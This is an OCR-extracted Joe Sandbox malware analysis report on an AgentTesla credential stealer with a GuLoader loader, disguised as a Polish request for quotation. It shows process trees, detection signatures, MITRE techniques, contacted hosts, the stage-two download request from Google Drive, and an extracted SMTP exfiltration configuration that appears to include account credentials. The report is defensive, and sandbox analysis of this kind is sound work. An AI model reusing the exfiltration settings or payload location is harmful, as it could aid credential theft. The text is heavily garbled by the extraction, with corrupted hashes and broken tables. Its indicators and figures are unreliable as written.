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System Behavior

Analysis Process: Zapytanie ofertowe (SHELMO Sp. z 0.0. 09272021).exe PID: 8728 Parent PID: 8384

General
File Activities
Analysis Process
General
Analysis Process
General
Analysis Process
General
Analysis Process
General
File Activities
File Created

File Written
File Read

: RegAsm.exe PID: 8100 Parent PID: 8728
: RegAsm.exe PID: 8676 Parent PID: 8728
: RegAsm.exe PID: 9020 Parent PID: 8728

: RegAsm.exe PID: 9012 Parent PID: 8728

Analysis Process: conhost.exe PID: 3996 Parent PID: 9012

General
File Activities

Disassembly
Code Analysis
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Windows Analysis Report Zapytanie ofertowe (SHELMO...
Overview

General Information Detection

Sample Zapytanie ofertowe
Name: (SHELMO Sp. z 0.0. MALICIOUS

09272021).exe

Classification

Found malware configuration

Multi AV Scanner detection for subm...
Analysis ID: 1383

Yara detected AgentTesla

MDS: 419a3e9ce6606d..

SHAL: 7c08e8f141478d .. Sigma detected: RegAsm connects ...
SHA256: 3ebfb7cdc30291b. Yara detected GulLoader

Infos: Q ;f il & L Hides threads from debuggers

Most interesting Screenshot:

Writes to foreign memoary. regions
Tries to harvest and steal Putty. / Wi...

Tries to detect Any.run

Score: 100 Tries to harvest and steal ftp loginic...
Range: 0-100 Tries to detect sandboxes and other...
Whitelisted: false

X Tries to steal Mail credentials (via fil...
Confidence: 100%

%)
«Q
=3
4
c
=
(1
7]

Process Tree

= System is wl0x64native
. Zapytanie ofertowe (SHELMO Sp. z 0.0. 09272021).exe (PID: 8728 cmdline: 'C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z 0.0. 09272021).exe' MD5:
419A3E9CE6606D5ED7B22A7574E1A294)
e [B] RegAsm.exe (PID: 8100 cmdline: 'C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z 0.0. 09272021).exe’ MD5: 0D5DF43AF2916F47D00C1573797C1A13
e (B RegAsm.exe (PID: 8676 cmdline: 'C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z 0.0. 09272021).exe’ MD5: 0D5DF43AF2916F47D00C1573797C1A13
e (B RegAsm.exe (PID: 9020 cmdline: 'C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z 0.0. 09272021).exe’ MD5: 0D5DF43AF2916F47D00C1573797C1A13
e [B] RegAsm.exe (PID: 9012 cmdline: ‘'C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z 0.0. 09272021).exe’ MD5: 0DSDF43AF2916F47D00C1573797C1A13
. conhost.exe (PID: 3996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFAGS)
= cleanup

)
)
)
)

Malware Configuration

Threatname: Agenttesla

{
"Exfil Mode": "SMTP",
“"SMTP Info": "murbano@reyesyasociados.com495QTi314mail.reyesyasociados.comvirwuh@gmail.com”

}

Yara Overview

Memory Dumps

Source Rule Description Author Strings
00000010.00000002.5652953298.000000001DF JoeSecurity_AgentTesla_1 Yara detected Joe Security
51000.00000004.00000001.sdmp AgentTesla
00000010.00000002.5652953298.000000001DF JoeSecurity_CredentialSte Yara detected Joe Security
51000.00000004.00000001.sdmp aler Credential Stealer
00000005.00000002.1080090056.00000000022 JoeSecurity_GulLoader_2  Yara detected Joe Security
50000.00000040.00000001.sdmp GuLoader
Process Memory Space: RegAsm.exe PID: 9012 JoeSecurity_AgentTesla_1 Yara detected Joe Security

AgentTesla
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Source Rule Description Author Strings

Process Memory Space: RegAsm.exe PID: 9012 JoeSecurity_CredentialSte Yara detected Joe Security
aler Credential Stealer

Sigma Overview

Networking: | |

Sigma detected: RegAsm connects to smtp port

Jbx Signature Overview

@ Click to jump to signature section

a2

AV Detection:

Found malware configuration

Multi AV Scanner detection for submitted file

Networking:

i £

Data Obfuscation:

Yara detected GuLoader

Malware Analysis System Evasion:

=

Anti Debugging:

]

HIPS | PFW | Operating System Protection Evasion:

Stealing of Sensitive Information:

]

Yara detected AgentTesla
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Remote Access Functionality:

Mitre Att&ck Matrix

Initial Privilege
Access Execution Persistence Escalation
Valid Windows Management DLL Side-  Process

Accounts  Instrumentation Loading Injection

Default Scheduled Task/Job Boot or DLL Side-
Accounts Logon Loading
Initialization
Scripts
Domain At (Linux) Logon Script Logon Script
Accounts (Windows)  (Windows)
Local At (Windows) Logon Script Logon Script
Accounts (Mac) (Mac)
Cloud Cron Network Network Logon
Accounts Logon Script Script
Replication Launchd Rc.common Rc.common
Through
Removable
Media

Behavior Graph

Copyright Joe Security LLC 2021

Defense Evasion

Disable or Modify

Tools

Virtualization/Sandbox

Evasion

Process

Injection

Obfuscated Files or
Information

DLL Side-Loading

Steganography

Credential
Access

oS
Credential

Dumping

Credentials
in
Registry

Security
Account
Manager

NTDS

LSA
Secrets

Cached
Domain
Credentials

Discovery

Security Software

Discovery

Process Discovery

Virtualization/Sandbox

Evasion

Application Window
Discovery

File and Directory
Discovery

System Information

Discovery

Lateral
Movement

Remote
Services

Remote
Desktop
Protocol

SMB/Windows
Admin Shares

Distributed
Component
Object Model

SSH

VNC

Collection

Email
Collection

Archive
Collected

Data

Data from
Local
System

Input
Capture

Keylogging

GUI Input
Capture

Yara detected AgentTesla

Exfiltration

Exfiltration
Over Other
Network
Medium

Exfiltration
Over
Bluetooth

Automated
Exfiltration

Scheduled
Transfer

Data
Transfer
Size Limits

Exfiltration
Over C2
Channel

Command
and Control

Encrypted

Channel

Non-Standard

Port

Ingress Tool
Transfer

Non-
Application
Layer
Protocol

Application
Layer

Protocol

Multiband
Communicatior
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1D
Sample:
Startdate:

Architecture:

Behavior Graph
Zapytanie ofertowe (SHELMO.
—

100

started

Regasm.exe a
|

9

Screenshots

Thumbnails

started

conhostexe

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

started

/
L@ 2 )

started

repomes B
G

Hide Legend

Legend:

@+ BEEL

Y
*
"en

) 8 W8

i
i
=

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet

]
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Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

Dropped Files

No Antivirus matches
Unpacked PE Files
No Antivirus matches

Domains

No Antivirus matches

URLs

Source Detection Scanner Label Link
http:/f/omoYjp.com 0% Avira URL Cloud safe
http://127.0.0.1:HTTP/1.1 0% Avira URL Cloud safe
http://DynDns.comDynDNS 0% Avira URL Cloud safe
http://https://sectigo.com/CPS0 0% Avira URL Cloud safe
http://mail.reyesyasociados.com 0% Avira URL Cloud safe
http://https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32- 0% Avira URL Cloud safe

0.4.3.6.zip%tordir%%ha
http://isQqqrU1x3gSI4S.net 0% Avira URL Cloud safe
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https://www.virustotal.com/gui/file/3ebfb7cdc30291bcc995951dda1d8f62cea3e0beb990e35fabb3078b6d9d9921/detection/f-3ebfb7cdc30291bcc995951dda1d8f62cea3e0beb990e35fabb3078b6d9d9921-1632765689

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
drive.google.com 142.250.185.174 true false high
googlehosted.l.googleusercontent.com 142.250.185.193 true false high
edge-web.dual-gslb.spotify.com 35.186.224.25 true false high
mailreyesyosociados.com 10916039245 we  me  ukown
spclient.wg.spotify.com unknown unknown false high
doc-00-50-docs.googleusercontent.com unknown unknown false high

Contacted URLs

Name Malicious Antivirus Detection Reputation

http:i/https://doc-00-50- false high
docs.googleusercontent.com/docs/securesc/haOro937gcuc7I7deffksulhgsh7mbpl/hfbleo2pc7
711m3ao072uchjdvo9g7ss2/1632826875000/00519186742208262786/*/13YjZIAZqkYRBpSLQg3

kNAObzs8kDFmm8g?e=download

URLs from Memory and Binaries

Contacted IPs

Public
P Domain Country Flag ASN ASN Name Malicious
142.250.185.193 googlehosted.l.googleuser United States = 15169 GOOGLEUS false

content.com

e
e

142.250.185.174 drive.google.com United States = 15169 GOOGLEUS false
General Information
Joe Sandbox Version: 33.0.0 White Diamond
Analysis ID: 1383
Start date: 28.09.2021
Start time: 12:58:02
Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 14m 28s
Hypervisor based Inspection enabled: false
Report type: light
Sample file name: Zapytanie ofertowe (SHELMO Sp. z 0.0. 09272021).exe
Cookbook file name: default.jbs
Analysis system description: Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe
Reader DC 21, Java 8 Update 301
Run name: Suspected Instruction Hammering
Number of analysed new started processes 40
analysed:
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 0
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.spre.troj.spyw.evad.wWinEXE@10/1@4/3
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EGA Information:
HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Time

13:02:24

API Interceptor

Failed
Failed

e Successful, ratio: 97%
e Number of executed functions: 0
e Number of non-executed functions: 0

e Adjust boot time
e Enable AMSI
e Found application associated with file extension: .exe

Show All

Type Description

Joe Sandbox View | Context

IPs

Match
109.169.39.245

Domains

Match

edge-web.dual-gslb.spotify.com

mail.reyesyasociados.com

ASN

Match
IOMART-ASGB

Copyright Joe Security LLC 2021

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash

Get hash

2602x Sleep call for process: RegAsm.exe modified

Detection
malicious
malicious
malicious
malicious
malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse

Browse

Context

Context

35.186.224.25
35.186.224.25
35.186.224.25
35.186.224.25
109.169.39.245
109.169.39.245
109.169.39.245
109.169.39.245
109.169.39.245
109.169.39.245

Context

109.169.39.245
109.169.39.245
109.169.39.245
217.147.86.101
176.56.205.97
109.75.167.7
109.169.39.245

217.194.21
2.165

109.169.39.245
109.169.39.245
109.169.33.163
78.129.165.118
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https://view.joesandbox.com/analysis/386351/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386351/html/none?idtype=webid
https://view.joesandbox.com/analysis/386069/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386069/html/none?idtype=webid
https://view.joesandbox.com/analysis/385805/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385805/html/none?idtype=webid
https://view.joesandbox.com/analysis/384629/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384629/html/none?idtype=webid
https://view.joesandbox.com/analysis/383814/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383814/html/none?idtype=webid
https://view.joesandbox.com/analysis/383580/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383580/html/none?idtype=webid
https://view.joesandbox.com/analysis/386480/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386480/html/none?idtype=webid
https://view.joesandbox.com/analysis/385991/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385991/html/none?idtype=webid
https://view.joesandbox.com/analysis/385950/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385950/html/none?idtype=webid
https://view.joesandbox.com/analysis/383988/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383988/html/none?idtype=webid
https://view.joesandbox.com/analysis/386351/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386351/html/none?idtype=webid
https://view.joesandbox.com/analysis/386069/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386069/html/none?idtype=webid
https://view.joesandbox.com/analysis/385805/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385805/html/none?idtype=webid
https://view.joesandbox.com/analysis/384629/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384629/html/none?idtype=webid
https://view.joesandbox.com/analysis/383814/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383814/html/none?idtype=webid
https://view.joesandbox.com/analysis/383580/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383580/html/none?idtype=webid
https://view.joesandbox.com/analysis/386351/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386351/html/none?idtype=webid
https://view.joesandbox.com/analysis/386069/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386069/html/none?idtype=webid
https://view.joesandbox.com/analysis/385805/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385805/html/none?idtype=webid
https://view.joesandbox.com/analysis/384738/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384738/html/none?idtype=webid
https://view.joesandbox.com/analysis/384711/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384711/html/none?idtype=webid
https://view.joesandbox.com/analysis/384701/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384701/html/none?idtype=webid
https://view.joesandbox.com/analysis/384629/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384629/html/none?idtype=webid
https://view.joesandbox.com/analysis/384445/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384445/html/none?idtype=webid
https://view.joesandbox.com/analysis/383814/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383814/html/none?idtype=webid
https://view.joesandbox.com/analysis/383580/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383580/html/none?idtype=webid
https://view.joesandbox.com/analysis/383252/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383252/html/none?idtype=webid
https://view.joesandbox.com/analysis/378330/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378330/html/none?idtype=webid

Match

JAS3 Fingerprints

Match
37f463bf4616ecd445d4a1937da06e19

Copyright Joe Security LLC 2021

Associated Sample Name / URL

Associated Sample Name /| URL

SHA 256
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection
malicious

malicious

malicious
malicious
malicious
malicious
malicious

malicious

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link
Browse

Browse

Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

5.77.41.150
87.117.239.150

176.56.205.122
78.129.249.105
217.194.215.58
217.194.215.58
31.216.57.33

78.129.249.105

Context

142.250.18
5.174
142.250.18
5.193

142.250.18
5.174
142.250.18
5.193

142.250.18
5.174
142.250.18
5.193

142.250.18
5.174
142.250.18
5.193

142.250.18
5.174
142.250.18
5.193

142.250.18
5.174
142.250.18
5.193

142.250.18
5.174
142.250.18
5.193

142.250.18
5.174
142.250.18
5.193

142.250.18
5.174
142.250.18
5.193

142.250.18
5.174
142.250.18
5.193

142.250.18
5.174
142.250.18
5.193

142.250.18
5.174
142.250.18
5.193

142.250.18
5.174
142.250.18
5.193

142.250.18
5.174
142.250.18
5.193

142.250.18
5.174
142.250.18
5.193

142.250.18
5.174
142.250.18
5.193
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https://view.joesandbox.com/analysis/377521/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377521/html/none?idtype=webid
https://view.joesandbox.com/analysis/376708/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376708/html/none?idtype=webid
https://view.joesandbox.com/analysis/376240/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376240/html/none?idtype=webid
https://view.joesandbox.com/analysis/373495/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/373495/html/none?idtype=webid
https://view.joesandbox.com/analysis/372678/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/372678/html/none?idtype=webid
https://view.joesandbox.com/analysis/372658/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/372658/html/none?idtype=webid
https://view.joesandbox.com/analysis/372249/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/372249/html/none?idtype=webid
https://view.joesandbox.com/analysis/372012/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/372012/html/none?idtype=webid
https://view.joesandbox.com/analysis/386507/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386507/html/none?idtype=webid
https://view.joesandbox.com/analysis/386480/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386480/html/none?idtype=webid
https://view.joesandbox.com/analysis/386478/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386478/html/none?idtype=webid
https://view.joesandbox.com/analysis/386406/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386406/html/none?idtype=webid
https://view.joesandbox.com/analysis/386405/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386405/html/none?idtype=webid
https://view.joesandbox.com/analysis/386399/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386399/html/none?idtype=webid
https://view.joesandbox.com/analysis/386398/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386398/html/none?idtype=webid
https://view.joesandbox.com/analysis/386397/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386397/html/none?idtype=webid
https://view.joesandbox.com/analysis/386394/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386394/html/none?idtype=webid
https://view.joesandbox.com/analysis/386391/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386391/html/none?idtype=webid
https://view.joesandbox.com/analysis/386389/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386389/html/none?idtype=webid
https://view.joesandbox.com/analysis/386384/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386384/html/none?idtype=webid
https://view.joesandbox.com/analysis/386364/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386364/html/none?idtype=webid
https://view.joesandbox.com/analysis/386351/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386351/html/none?idtype=webid
https://view.joesandbox.com/analysis/386318/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386318/html/none?idtype=webid
https://view.joesandbox.com/analysis/386292/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386292/html/none?idtype=webid

Match

Associated Sample Name / URL SHA 256 Detection Link Context

Get hash malicious Browse e 142.250.18
5.174
142.250.18
5.193

142.250.18
5.174
142.250.18
5.193

Get hash malicious Browse

142.250.18
5.174
142.250.18
5.193

Get hash malicious Browse

142.250.18
5.174
142.250.18
5.193

Get hash malicious Browse

Dropped Files

No context

Created / dropped Files

\Device\ConDrv

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\Microsoft. NET\Framework\v4.0.30319\RegAsm.exe

ASCII text, with CRLF line terminators

dropped

30

3.964735178725505

false

3:IBVFBWAGRHneyy:ITQAGRHner

9F754B47B351EFOFC32527B541420595
006C66220B33E98C725B73495FE97B3291CE14D9
0219D77348D2F0510025E188D4EA84ABE73F856DEBSE0878D673079D05840591
C6996379BCB774CE27EEECOF173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A0853
false

moderate, very likely benign file

NordVPN directory not found!..

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHAL:
SHA256:

SHA512:

SSDEEP:

PE32 executable (GUI) Intel 80386, for MS Windows
5.697062658365674

e Win32 Executable (generic) a (10002005/4)
99.15%

e Win32 Executable Microsoft Visual Basic 6
(82127/2) 0.81%

e Generic Win/DOS Executable (2004/3) 0.02%

e DOS Executable Generic (2002/1) 0.02%

e Autodesk FLIC Image File (extensions: fic, fli, cel)
(7/3) 0.00%

Zapytanie ofertowe (SHELMO Sp. z 0.0. 09272021).exe
90112

419a3e9ce6606d5ed7b22a7574el1a294
7c08e8f1f4f478df9baf5d00675bd174467621bc

3ebfb7cdc30291bcc995951ddald8f62cea3eObeb990e35
fabb3078b6d9d9921

9656f15444698040c29674c4370604397¢37147c07924b
1bc8751b62e3a437808c2343f155a9af927f57084264b7
62d5daa949c3d76b2e9755ec17690ch656e

768:tKI6PD+GddmSjV7vdnt/L/qT/pYT2107vPPgRgAWN
95fRIBLWfRrhTSgStnLYqwp:tP0+6mSjxvD/q7eT2HQg
Fn30OWIfINULK
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https://view.joesandbox.com/analysis/386288/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386288/html/none?idtype=webid
https://view.joesandbox.com/analysis/386283/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386283/html/none?idtype=webid
https://view.joesandbox.com/analysis/386280/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386280/html/none?idtype=webid
https://view.joesandbox.com/analysis/386277/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386277/html/none?idtype=webid

General

File Content Preview: MZ..ooiiiiiiin, @i I.LITh
is program cannot be run in DOS mode....$....
..PE.L..0.(T....

File Icon

il

Icon Hash: 821ca88c8e8c8c00

Static PE Info

General

Entrypoint: 0x4012c8

Entrypoint Section: text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE,

LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp: 0x5428C171 [Mon Sep 29 02:18:25 2014 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:
OS Version Minor:
File Version Major:
File Version Minor:

Subsystem Version Major:

o » o » O &

Subsystem Version Minor:
Import Hash: €73b8c032c82c64991ebed87a7ffcd43

Entrypoint Preview

Data Directories

Sections

Name  Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

text 0x1000 0x128ec 0x13000 False 0.512232730263 data 6.18689428252 IMAGE_SCN_MEM_EXECUTE,

IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

data  0x14000 Oxcfa 0x1000 False 0.00634765625 data 0.0 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

rsrc 0x15000 0x540 0x1000 False 0.12939453125 data 1.40564634666 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

Resources

Imports

Version Infos

Possible Origin

Language of compilation system Country where language is spoken Map

Chinese Taiwan

Network Behavior
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Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Timestamp

Sep 28, 2021 13:02:13.257863998 CEST

Sep 28, 2021 13:02:14.166940928 CEST

Sep 28, 2021 13:03:50.096003056 CEST

Sep 28, 2021 13:05:08.756127119 CEST

DNS Answers

Timestamp Source IP Dest IP

Sep 28, 2021 1111 192.168.11.20
13:01:25.651279926
CEST

Sep 28, 2021 1111 192.168.11.20
13:01:25.651279926
CEST

Sep 28, 2021 1111 192.168.11.20
13:02:13.266354084
CEST

Sep 28, 2021 1111 192.168.11.20
13:02:14.198234081
CEST

Sep 28, 2021 1111 192.168.11.20
13:02:14.198234081
CEST

Sep 28, 2021 1111 192.168.11.20
13:03:50.133709908
CEST

Sep 28, 2021 1111 192.168.11.20
13:05:08.764718056
CEST

Sep 28, 2021 1111 192.168.11.20
13:05:08.764718056
CEST

HTTP Request Dependency Graph

e drive.google.com

e doc-00-50-docs.googleusercontent.com

HTTPS Proxied Packets

Session ID Source IP Source Port

0 192.168.11.20 49726

kBytes

Source IP

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

Trans ID

0x7eal

0x7eal

0x3ff1

0xc78a

0xc78a

0x71d7

0x5ee8

0x5ee8

142.250.185.174 443

Timestamp transferred Direction Data

2021-09-28 11:02:13 UTC 0 ouT

Copyright Joe Security LLC 2021

Destination IP

Dest IP
1.1.1.1

1111

1111

1111

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Trans ID

Ox3ff1

Oxc78a

0x71d7

0x5ee8

Name

devcentera
pi.azure-api.n

devcenterapi-
eastus-
01l.regiona
|.azure-api.ne

drive.goog
le.com

doc-00-50-
docs.goog!
euserconte
nt.com

googlehost
ed.l.goog!
euserconte
nt.com

mail.reyes

OP Code

Standard query
(0
Standard query
(0)

Standard query
(0

Name Type

drive.google.com A (IP address)

doc-00-50- A (IP address)
docs.googl
eusercontent.com

mail.reyes A (IP address)
yasociados.com

Standard query  spclient.w A (IP address)
(0) g.spotify.com
CName Address Type
apimgmttmrl7ij3jt5dneg6 CNAME
et 4srod9jevcuajxaoubedbrt (Canonical
u9cg.trafficmanager.net name)
apimgmthszbjimgeglorvth CNAME
kncixvpso9vnynvh3ehms (Canonical
dli33a.cloudapp.net name)

t

142.250.185.174 A (IP address)

googlehosted.l.googleuse CNAME

rcontent.com

yasociados.com

spclient.w
g.spotify.com

edge-web.dual-
gslb.spotify.com

edge-web.dual-
gslb.spotify.com

Destination Port Process

(Canonical
name)

142.250.185.193 A (IP address)

109.169.39.245 A (IP address)

CNAME
(Canonical
name)

35.186.224.25 A (IP address)

C:\Windows\Microsoft. NET\Framework\v4.0.30319\RegAsm.exe

GET /uc?export=download&id=13Y]ZJAZgkYRBpSLg3kNAObzs8kDFmm8g HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0x0001)

IN (0X0001)

IN (0X0001)
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kBytes
Timestamp transferred

2021-09-28 11:.02:14 UTC 0

2021-09-28 11:02:14 UTC 1

2021-09-28 11:02:14 UTC 1

Session ID Source IP

1 192.168.11.20
kBytes

Timestamp transferred

2021-09-28 11:02:14 UTC 1

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49727

Direction
ouT

Data

HTTP/1.1 302 Moved Temporarily

Content-Type: text/html; charset=UTF-8

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Expires: Mon, 01 Jan 1990 00:00:00 GMT

Date: Tue, 28 Sep 2021 11:02:14 GMT

Location: https://doc-00-50-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc?I7deffksulhgsh7mbpl/hfbleo2p
c7711m3ao72uchj4vo9g7ss2/1632826875000/00519186742208262786/*/13YjZJAZgkYRBpSLG3kNAObzs8KDFmmM8g?
e=download

P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."

Content-Security-Policy: script-src 'nonce-QCgFv8DyA2A4PgmHbI8pjw' 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Set-Cookie: NID=511=mGGGkcXz0fNVXVR_KdpLyluj-tqg8EI5Z1GmAFIGCPPril7KbVbUwCjMrnlizZ99mZalbVJ
zFHe7moVhyvOAgMz2ujxeWFaD7TaUuK8ysdjycC8QPomSsmEwWxRhFZ0gtMwfCgyXS1ftl6egHE1O-I0O8krAlI71vHYS
6fsjFmqJdr3o; expires=Wed, 30-Mar-2022 11:02:13 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 31 38 34 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70
6f 72 61 72 69 6¢ 79 3c 2f 54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e Oa 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23
46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e Oa 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f
72617269 6¢ 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52
45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 6f 63 2d 30 6f 2d 35 30 2d 64 6f 63 73 2e 67 6f 6f 67 6¢ 65 75 73 65 72 63 6f 6e 74
65 6e 74 2e 63 6f 6d 2f 64 6f 63 73 2f 73 65 63 75 72 65 73 63 2f 68 61 30 72 6f 39 33 37 67 63 75 63 37 6¢ 37 64 65 66
66 6b 73 75 6¢ 68 67 35 68 37 6d 62 70 31 2f 68 66 62 31

Data Ascii: 184<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF"
TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://doc-00-50-docs.goog
